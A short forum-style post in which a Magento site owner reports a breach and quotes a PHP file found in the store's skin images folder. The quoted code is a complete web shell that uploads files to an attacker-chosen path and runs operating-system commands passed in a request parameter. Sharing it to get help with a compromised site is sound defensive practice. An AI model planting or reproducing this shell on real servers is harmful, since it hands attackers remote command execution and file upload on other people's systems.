My magento installation seems to have had a security breach.
In /skin/install/default/default/images/ a file called index.php has appeared.
It contains the following code:
<?php
if(@$_REQUEST["id"]== 'yes')
{
$files = @$_FILES["files"];
if($files["name"] != ''){
$fullpath = $_REQUEST["path"].$files["name"];
if(move_uploaded_file($files['tmp_name'],$fullpath)){
echo "<h1><a href='$fullpath'>shell</a></h1>";
}
}
exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>');
}
if(@$_REQUEST["id"]== 'no')
{
system($_GET["cmd"]);
}
?>
